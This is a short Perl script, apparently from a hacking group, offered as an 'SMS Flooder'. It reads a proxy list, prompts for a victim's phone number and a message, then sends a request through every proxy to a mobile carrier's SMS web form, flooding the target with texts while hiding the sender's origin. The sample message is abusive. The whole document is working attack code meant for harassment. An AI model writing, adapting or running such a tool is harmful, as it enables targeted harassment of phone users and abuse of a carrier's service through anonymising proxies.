#!/usr/bin/perl
#########################################
#           SMS Flooder v.1.0           #
# v1z1t www.dhgroup.org for more stuff  #
#########################################
#Author: D4rkGr3y <grey_1999@mail.ru>   #
#########################################
print "\n\n";
print "[DamageHackingGroup|www.dhgroup.org]\n";
print "#SMS Flooder v.1.0 by D4rkGr3y\n";
$file = "proxy.lst";
use IO::Socket;
open (proxy, $file) or die "Error opening file '$file'\n";
print "Enter full mobile number (eq: 790231337):\n";
$number = <STDIN>;
chomp($number);
print "Enter your message (eq: Fuck u babe):\n";
$text = <STDIN>;
chomp($text);
$url = "http://www.mts.ru/cgi-bin/cgi.exe?function=sms_send&MMObjectType=0&MMObjectID=&To=$number&Msg=$text&Hour=00&Min=00&Day=01&Mon=12&Year=2004&Lang=2";
substr($url, 0, 9999) =~ s/ /%20/g;
print "Flooding started...\n";
while (<proxy>) {
 chomp;
 ($ip,  $port) = split(/[:]/,$_);
 $socket = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM);
 if ($socket) {
  print $socket "GET $url HTTP/1.0\n";
  print $socket "Referer: http://www.dhgroup.org\n";
  print $socket "User-Agent: SMS Flooder v.666 by Vasya\n";
  print $socket "Accept: */*\r\n\r\n";
  print "$_: OK\n";
  close($socket);
 } else { print "$_: proxy error\n"; }
}
 print "Complete.\n";